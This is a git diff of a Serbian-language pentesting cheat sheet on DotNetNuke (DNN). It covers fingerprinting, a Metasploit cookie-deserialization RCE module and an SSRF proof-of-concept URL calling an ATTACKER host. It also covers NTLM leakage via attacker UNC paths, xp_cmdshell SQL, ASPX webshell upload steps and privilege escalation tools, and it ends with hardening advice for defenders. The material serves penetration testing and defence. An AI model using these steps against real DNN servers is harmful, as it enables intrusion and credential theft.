diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index bd59fb215..ba6495f9d 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -Ako se prijavite kao **administrator** u DNN, lako je dobiti RCE. +Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim, u poslednjih nekoliko godina objavljeno je nekoliko *neautentifikovanih* i *post-auth* tehnika. Sledeća cheat-sheet sakuplja najkorisnije primitivne tehnike za ofanzivni i defanzivni rad. -## RCE +--- +## Verzija i Okruženje -### Putem SQL-a +* Proverite *X-DNN* HTTP odgovorni header – obično otkriva tačnu verziju platforme. +* Čarobnjak za instalaciju otkriva verziju u `/Install/Install.aspx?mode=install` (dostupno na vrlo starim instalacijama). +* `/API/PersonaBar/GetStatus` (9.x) vraća JSON blob koji sadrži `"dnnVersion"` za korisnike sa niskim privilegijama. +* Tipični kolačići koje ćete videti na aktivnoj instanci: +* `.DOTNETNUKE` – ASP.NET forms authentication ticket. +* `DNNPersonalization` – sadrži XML/serijalizovane podatke o korisničkom profilu (stare verzije – vidi RCE ispod). -SQL konzola je dostupna na stranici **`Settings`** gde možete omogućiti **`xp_cmdshell`** i **izvršiti komande operativnog sistema**. +--- +## Neautentifikovana Eksploatacija -Koristite ove linije da omogućite **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. Deserializacija Kolačića RCE (CVE-2017-9822 & follow-ups) +*Pogođene verzije ≤ 9.3.0-RC* + +`DNNPersonalization` se deserializuje pri svakoj zahtev kada je uključen ugrađeni 404 handler. Tako kreirani XML može dovesti do proizvoljnih gadget lanaca i izvršavanja koda. ``` -I pritisnite **"Run Script"** da pokrenete te sQL rečenice. - -Zatim, koristite nešto poput sledećeg da pokrenete OS komande: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Putem ASP webshell-a +Modul automatski bira pravi put za zakrpljene, ali još uvek ranjive verzije (CVE-2018-15811/15812/18325/18326). Eksploatacija funkcioniše **bez autentifikacije** na 7.x–9.1.x i sa *verifikovanim* nalozima sa niskim privilegijama na 9.2.x+. -U `Settings -> Security -> More -> More Security Settings` možete **dodati nove dozvoljene ekstenzije** pod `Allowable File Extensions`, a zatim kliknuti na dugme `Save`. +### 2. Server-Side Request Forgery (CVE-2025-32372) +*Pogođene verzije < 9.13.8 – Zakrpa objavljena aprila 2025* -Dodajte **`asp`** ili **`aspx`** i zatim u **`/admin/file-management`** otpremite **asp webshell** nazvan `shell.asp`, na primer. +Zaobilaženje starijeg `DnnImageHandler` rešenja omogućava napadaču da natera server da izda **arbitrarne GET zahteve** (polu-slepi SSRF). Praktični uticaji: -Zatim pristupite **`/Portals/0/shell.asp`** da biste pristupili svom webshell-u. +* Interni port sken / otkrivanje metapodataka u cloud implementacijama. +* Dostupnost hostova koji su inače zaštićeni od Interneta. -### Eskalacija privilegija +Dokaz koncepta (zameni `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +Zahtev se pokreće u pozadini; pratite svog slušatelja za povratne pozive. -Možete **eskalirati privilegije** koristeći **Potatoes** ili **PrintSpoofer**, na primer. +### 3. Izloženost NTLM heša putem UNC preusmeravanja (CVE-2025-52488) +*Zahvaćene verzije 6.0.0 – 9.x (< 10.0.1)* +Specijalno oblikovan sadržaj može naterati DNN da pokuša da preuzme resurs koristeći **UNC put** kao što je `\\attacker\share\img.png`. Windows će rado izvršiti NTLM pregovaranje, otkrivajući heševe server-računa napadaču. Ažurirajte na **10.0.1** ili onemogućite odlazni SMB na vatrozidu. + +### 4. Zaobilaženje IP filtera (CVE-2025-52487) +Ako administratori oslanjaju na *Host/IP filtere* za zaštitu admin portala, imajte na umu da se verzije pre **10.0.1** mogu zaobići manipulacijom `X-Forwarded-For` u scenariju obrnute proxy. + +--- +## Post-autentifikacija do RCE + +### Putem SQL konzole +Pod **`Settings → SQL`** ugrađeni prozor za upite omogućava izvršavanje protiv baze podataka sajta. Na Microsoft SQL Server-u možete omogućiti **`xp_cmdshell`** i pokrenuti komande: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### Putem ASPX webshell upload +1. Idite na **`Settings → Security → More → More Security Settings`**. +2. Dodajte `aspx` (ili `asp`) u **Allowable File Extensions** i **Save**. +3. Idite na **`/admin/file-management`** i otpremite `shell.aspx`. +4. Aktivirajte ga na **`/Portals/0/shell.aspx`**. + +--- +## Eskalacija privilegija na Windows +Kada se postigne izvršenje koda kao **IIS AppPool\**, primenjuju se uobičajene tehnike eskalacije privilegija na Windows-u. Ako je sistem ranjiv, možete iskoristiti: + +* **PrintSpoofer** / **SpoolFool** za zloupotrebu *SeImpersonatePrivilege*. +* **Juicy/Sharp Potatoes** za bekstvo iz *Service Accounts*. + +--- +## Preporuke za jačanje (Plavi tim) + +* **Ažurirajte** na najmanje **9.13.9** (popravlja SSRF zaobilaženje) ili po mogućstvu **10.0.1** (IP filter i NTLM problemi). +* Uklonite preostale **`InstallWizard.aspx*`** datoteke nakon instalacije. +* Onemogućite izlazni SMB (portovi 445/139). +* Sprovodite jake *Host Filters* na ivici proksija umesto unutar DNN. +* Blokirajte pristup `/API/RemoteContentProxy` ako se ne koristi. + +## Reference + +* Metasploit `dnn_cookie_deserialization_rce` modul dokumentacija – praktični detalji o neautentifikovanom RCE (GitHub). +* GitHub Security Advisory GHSA-3f7v-qx94-666m – informacije o SSRF zaobilaženju i zakrpi za 2025. godinu. {{#include ../../banners/hacktricks-training.md}}